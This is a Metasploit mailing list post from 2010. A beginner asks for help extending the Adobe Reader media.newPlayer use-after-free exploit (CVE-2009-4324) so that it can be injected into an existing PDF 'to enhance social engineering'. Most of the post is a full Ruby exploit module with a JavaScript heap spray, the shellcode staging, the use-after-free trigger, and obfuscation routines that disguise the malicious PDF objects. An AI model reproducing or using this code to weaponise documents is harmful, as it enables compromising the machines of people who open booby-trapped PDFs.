Metasploit mailing list archives
adobe_media_newplayer Extension developpement
From: Thibault Magné <aemaeth.2501 () gmail com>
Date: Wed, 31 Mar 2010 10:55:43 -0400
Hi, This is my first post, so apologize for my english (i'm french). I recently (about 2 months) discovered this powerful tool called MSF. Beginning reading docs, tutos and testing on my own (and getting Ruby development basis, my background is more Java), I'm quite interested in PDF exploit because in my opinion, they are very dangerous (popular exchange format). This make me interested in recent adobe_media_newplayer exploit. I think I understand basically how it works, but I questioned myself on how will it be possible to fill up the PDF (instead of getting an empty one). This example may allow me to learn deeply ruby, with file editing, and adapt an exploit to my needs. End up with the introduction, and let's go for my problem : My first idea was to give an input PDF file, and to add it the exploit. So I studied the *adobe_media_newplayer.rb* crafting pdf part. To help me, I found another PDF exploit, that adds up a payload to an already crafted pdf file : *adobe_pdf_embedded_exe.rb*. I began to develop my own exploit based on those two (See the end of this email), but I'm confronted to many problems. Note : All my tests were made on a basic "Hello World" pdf. So here is my questions : 1. Why the xref_create method forget the first line (0000000000 6555 f) of the xref table ? 2. Again, why xref_create method can't get the correct index : 1 9 instead of 0 10 for example ? 3. When I tested on more complicated pdf files, I discovered some inconsistencies.... that brings out the following question : 4. How could I improve the "solidity" of the code ? 5. Last but not least, have a look on my code : do I go in the right way ? See you ! *adobe_media_newplayer_embedded.rb : * ## # $Id: adobe_media_newplayer_embedded.rb 8190 2010-01-21 19:26:04Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote #To fix Rank = GoodRanking include Msf::Exploit::PDF_Parse include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability Extension', 'Description' => %q{ This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat Professional versions up to and including 9.2. It adds the possibility to add the exploit into an existing pdf document to enhance social engineering. Note : adobe_media_newplayer and adobe_pdf_embedded_exe reingineering. Todo : allow to let INFILENAME void => adobe_media_newplayer original exploit }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', # Found in the wild # Metasploit version by: 'hdm', 'pusscat', 'jduck', 'aemaeth' ], 'Version' => '$Revision: 8190 $', 'References' => [ [ 'CVE', '2009-4324' ], [ 'BID', '37331' ], [ 'OSVDB', '60980' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # test results (on Windows XP SP3) # reader 6.0.1 - vulnerable / doesn't work # reader 7.0.5 - untested # reader 7.0.8 - untested # reader 7.0.9 - vulnerable / doesn't work # reader 7.1.0 - untested # reader 7.1.1 - untested # reader 8.0.0 - untested # reader 8.1.1 - works # reader 8.1.2 - untested # reader 8.1.3 - untested # reader 8.1.4 - untested # reader 8.1.5 - untested # reader 8.1.6 - untested # reader 9.0.0 - untested # reader 9.1.0 - works # reader 9.2 - works (no debugger, no DEP) [ 'Adobe Reader Windows English (JS Heap Spray)', { 'Size' => (0x10000/2), 'Ret' => 0x0c0c0c0c, } ], [ 'Adobe Reader Windows German (JS Heap Spray)', { 'Size' => (0x10000/2), 'Ret' => 0x0a0a0a0a, } ], ], 'DisclosureDate' => 'Dec 14 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The resultant file name.', 'msf.pdf']), OptString.new('INFILENAME', [ true, 'The file name to add exploit to.', '']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Make some nops nops = Rex::Text.to_unescape([target.ret].pack('V')) # Randomize variables len = 72 rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') vtbuf = [target.ret].pack('V') * 4 vtbuf << rand_text_alpha(len - vtbuf.length) vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1') retstring = Rex::Text.to_unescape(vtbuf) # The printd strings are 72 bytes (??) script = %Q| var #{rand1} = unescape("#{shellcode}"); var #{rand2} = unescape("#{nops}"); var #{rand3} = unescape("#{retstring}"); while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2}; #{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length); memory=new Array(); for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; } util.printd("#{rand4}", new Date()); util.printd("#{rand5}", new Date()); try {this.media.newPlayer(null);} catch(e) {} util.printd(#{rand3}, new Date()); | pdf = make_pdf(script,datastore['INFILENAME']) print_status("Creating '#{datastore['FILENAME']}' file...") #Print out the output file_create(pdf) end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(js,file_name) eol = "\x0d\x0a" stream = read_pdf() print_status("Parsing '#{file_name}'...") pdf_objects = parse_pdf(stream) print_status("Parsing Successful.") xref_trailers = pdf_objects[0] trailers = pdf_objects[1] startxrefs = pdf_objects[2] root_obj = pdf_objects[3] new_pdf = String.new() new_pdf << "%PDF-1.5" << eol new_pdf << "%" << RandomNonASCIIString(4) << eol #Catalog modification" catalog = parse_object(xref_trailers,root_obj,stream) if catalog.match(/OpenAction/m) match = catalog.match(/OpenAction (\d+ \d) R/m) if match new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i} 0 R") end else new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i} 0 R") end if new_catalog new_pdf << new_catalog else print_status("Unable to parse catalog...") end #Rewriting original objects 1.upto((trailers[0].fetch("Size").to_i) - 1) { |obj_num| if !("#{obj_num} 0" == root_obj) obj_name = "#{obj_num} 0" new_pdf << parse_object(xref_trailers,obj_name,stream) end } pdf_init_size = trailers[0].fetch("Size").to_i #Adding the exploit objects (2) new_pdf << "#{pdf_init_size} 0 obj" << eol new_pdf << nObfu("<</Type/Action/S/JavaScript/JS ") + "#{pdf_init_size +1} 0 R >>" new_pdf << "endobj" << eol compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) new_pdf << "#{pdf_init_size +1} 0 obj" << eol new_pdf << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol new_pdf << "stream"<< eol new_pdf << compressed << eol new_pdf << "endstream"<< eol new_pdf << "endobj" << eol start_xrefs = new_pdf.length #Writing xrefs xrefs = xref_create(new_pdf,0,"*") new_pdf << "xref"<< eol new_pdf << xrefs #Writing trailer #Could could be done better new_pdf << "trailer" << eol << "<<" << eol pdf_objects[1][0].each { |key,val| if key == "Root" new_pdf << "/#{key} #{val} R" << eol else if key == "Size" size = (val.to_i + 2).to_s new_pdf << "/#{key} #{size}" << eol end end } new_pdf << ">>" << eol #Writing startxref new_pdf << "startxref" << eol new_pdf << start_xrefs.to_s << eol #Writing EOF new_pdf << "%%EOF" return new_pdf end end
_______________________________________________ https://mail.metasploit.com/mailman/listinfo/framework
Current thread:
- adobe_media_newplayer Extension developpement Thibault Magné (Mar 31)